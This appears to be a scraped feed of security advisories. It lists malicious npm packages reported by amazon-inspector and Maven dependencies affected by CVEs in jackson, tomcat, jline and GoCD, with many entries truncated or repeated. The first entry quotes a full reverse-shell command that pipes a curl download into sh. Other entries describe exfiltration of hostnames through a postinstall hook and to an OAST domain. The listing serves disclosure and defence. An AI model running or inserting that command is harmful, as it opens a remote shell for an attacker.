MAL-2026-16481 Malicious code in internallib_v463 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7 index.js exports a function command that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh", fetching a reverse-shell script from...

africa.shuwari.sbt:sbt-js_2.12_1.0 (>=0.14.1, <=0.16.1), africa.shuwari.sbt:sbt-netbeans_2.12_1.0 (>=0.1.0, <=0.1.1) +1409 more potentially affected by CVE-2026-77422 via org.jline:jline-builtins (>=3.2.0, <=3.30.14)

org.jline:jline-builtins MAVEN version =3.2.0, =0.14.1, =0.1.0, =0.9.6, =0.15.3, =0.12.0, =0.9.6, =0.15.3, =0.9.6, =0.9.6, =0.15.3, =0.9.6, =0.15.3, =0.14.1, =0.9.6, =0.14.3 and more Source cves: CVE-2026-77422 Source advisory: MEND:CVE-2026-77422...

CVE-2026-52744 GoCD is vulnerable to authorization bypass via fetch artifact autosuggestion API

GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines//upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy...

CVE-2026-52744 GoCD is vulnerable to authorization bypass via fetch artifact autosuggestion API

GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines//upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy...

CVE-2026-52744 GoCD is vulnerable to authorization bypass via fetch artifact autosuggestion API

GoCD is a continuous deliver server. From 20.2.0 until 26.1.0, the internal GoCD UI fetch-artifact auto-suggestion API at /go/api/internal/pipelines//upstream does not adequately authorize access to upstream dependency data. An authenticated user can retrieve inter-pipeline dependency hierarchy...

Malicious code in event-hunter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f94b74862f327effaa43c1d01c4fd769626f73214d0706b80fef8b8a395cc3e8 On npm install, the declared postinstall hook runs node index.js, which reads os.hostname and a timestamp, base64-encodes the JSON payload, and issue...

MAL-2026-16479 Malicious code in simplenewnpmpackage (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 76315a0ce965c3a1f5b6342caa9d9ce8db4b341b641b2dbb696ebd52bd6149ec On require/import, index.js issues an HTTPS GET to a hardcoded interactsh OAST subdomain dapnhid534ch06s9vpm0mbg1httu5gytc.oast.fun with the...

Malicious code in simplenewnpmpackage (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 76315a0ce965c3a1f5b6342caa9d9ce8db4b341b641b2dbb696ebd52bd6149ec On require/import, index.js issues an HTTPS GET to a hardcoded interactsh OAST subdomain dapnhid534ch06s9vpm0mbg1httu5gytc.oast.fun with the...

MAL-2026-16477 Malicious code in com.apple.unityplugin.storekit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 920277566757bdc38563c7e2150e906790478cbd7a0c48f0bb53004e82eec4ca The package impersonates an Apple/Unity StoreKit internal namespace com.apple.unityplugin.storekit and, on require, index.js performs an HTTPS GET to...

Malicious code in com.apple.unityplugin.storekit (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 920277566757bdc38563c7e2150e906790478cbd7a0c48f0bb53004e82eec4ca The package impersonates an Apple/Unity StoreKit internal namespace com.apple.unityplugin.storekit and, on require, index.js performs an HTTPS GET to...

io.github.t1willi:jolt (>=2.6.2, <=25.08.4), org.apache.tomee.bom:tomee-webprofile (11.0.0-m1) +15 more potentially affected by CVE-2026-76183 via org.apache.tomcat:tomcat-websocket (>=11.0.0-m20, <=11.0.25)

org.apache.tomcat:tomcat-websocket MAVEN version =11.0.0-m20, =2.6.2, =11.0.0, =11.1.3 and more Source cves: CVE-2026-76183 Source advisory: SNYK:JAVA-ORGAPACHETOMCAT-20532012...

codes.vps:tomcat-valve-request-filter (0.1), com.armanbilge:http4s-tomcat-server_2.12 (1.0-377-020cf9e) +136 more potentially affected by CVE-2026-77756 via org.apache.tomcat:tomcat-coyote (>=9.0.48, <=9.0.121)

org.apache.tomcat:tomcat-coyote MAVEN version =9.0.48, =3.0.11, =1.0.1, =1.7.0, =6.73, =3.5.5, =3.5.5, =3.1.0, =0.1.3, =1.7.2.230613, =1.8.3.240913 and more Source cves: CVE-2026-77756 Source advisory: MEND:CVE-2026-77756...

ai.koryki.core:koryki-core (>=0.1.0, <=0.2.0), ai.koryki.core:koryki-duckdb (>=0.1.0, <=0.2.0) +2921 more potentially affected by CVE-2026-91776 via tools.jackson.core:jackson-databind (>=3.2.0, <=3.2.2)

tools.jackson.core:jackson-databind MAVEN version =3.2.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.7.24, =0.7.24, =2.2.0, =2.7.1 and more Source cves: CVE-2026-91776 Source advisory: SNYK:JAVA-TOOLSJACKSONCORE-20059686...

ac.pao:reports-web (1.0.0), ai.agentican:agentican-quarkus-deployment (>=0.1.0-alpha.1, <=0.1.0-alpha.4) +34733 more potentially affected by CVE-2026-91776 via com.fasterxml.jackson.core:jackson-databind (>=2.19.0, <=2.21.6)

com.fasterxml.jackson.core:jackson-databind MAVEN version =2.19.0, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.3, =0.1.0-alpha.1, =0.0.4, =0.0.4, =0.0.4, =0.0.4, =0.0.6 and more Source cves:...

ai.abkr.open:any (>=1.0.6, <=1.0.22), ai.agentican:agentican-framework-core (>=0.1.0-alpha.1, <=0.1.0-alpha.4) +12001 more potentially affected by CVE-2026-91776 via tools.jackson.core:jackson-databind (>=3.0.0-rc1, <=3.1.6)

tools.jackson.core:jackson-databind MAVEN version =3.0.0-rc1, =1.0.6, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.3, =0.1.0-alpha.1, =0.2.0, =0.2.0, =0.2.0, =0.4.2 and more Source cves...

ai.codriverlabs:scaleout-build-control-plane-api (0.0.1-centraltest), ai.codriverlabs:scaleout-build-ecs (0.0.1-centraltest) +12650 more potentially affected by CVE-2026-89425 via com.fasterxml.jackson.core:jackson-core (>=2.22.0, <=2.22.2)

com.fasterxml.jackson.core:jackson-core MAVEN version =2.22.0, =0.9.3, =0.9.4, =0.9.7, =0.8.0, =0.9.9, =0.9.6, =0.7.0, =0.9.3, =0.9.9, =0.7.0, =0.7.0, =0.9.8 and more Source cves: CVE-2026-89425 Source advisory: SNYK:JAVA-COMFASTERXMLJACKSONCORE-20059179...

ai.koryki.core:koryki-core (>=0.1.0, <=0.2.0), ai.koryki.core:koryki-duckdb (>=0.1.0, <=0.2.0) +3128 more potentially affected by CVE-2026-89425 via tools.jackson.core:jackson-core (>=3.2.0, <=3.2.2)

tools.jackson.core:jackson-core MAVEN version =3.2.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.1.0, =0.7.24, =0.7.24, =2.2.0, =2.7.1 and more Source cves: CVE-2026-89425 Source advisory: SNYK:JAVA-TOOLSJACKSONCORE-20059180...

ai.codriverlabs:scaleout-build-control-plane-api (0.0.1-centraltest), ai.codriverlabs:scaleout-build-ecs (0.0.1-centraltest) +11513 more potentially affected by CVE-2026-91776 via com.fasterxml.jackson.core:jackson-databind (>=2.22.0, <=2.22.2)

com.fasterxml.jackson.core:jackson-databind MAVEN version =2.22.0, =0.9.3, =0.9.4, =0.9.7, =0.8.0, =0.9.9, =0.9.6, =0.7.0, =0.9.3, =0.9.9, =0.7.0, =0.7.0, =0.9.8 and more Source cves: CVE-2026-91776 Source advisory: SNYK:JAVA-COMFASTERXMLJACKSONCORE-20059685...

ac.pao:reports-web (1.0.0), ai.agentican:agentican-quarkus-deployment (>=0.1.0-alpha.1, <=0.1.0-alpha.4) +34733 more potentially affected by CVE-2026-91777 via com.fasterxml.jackson.core:jackson-databind (>=2.19.0, <=2.21.6)

com.fasterxml.jackson.core:jackson-databind MAVEN version =2.19.0, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.3, =0.1.0-alpha.1, =0.0.4, =0.0.4, =0.0.4, =0.0.4, =0.0.6 and more Source cves:...

ai.abkr.open:any (>=1.0.6, <=1.0.22), ai.agentican:agentican-framework-core (>=0.1.0-alpha.1, <=0.1.0-alpha.4) +12001 more potentially affected by CVE-2026-91777 via tools.jackson.core:jackson-databind (>=3.0.0-rc1, <=3.1.6)

tools.jackson.core:jackson-databind MAVEN version =3.0.0-rc1, =1.0.6, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.1, =0.1.0-alpha.3, =0.1.0-alpha.1, =0.2.0, =0.2.0, =0.2.0, =0.4.2 and more Source cves...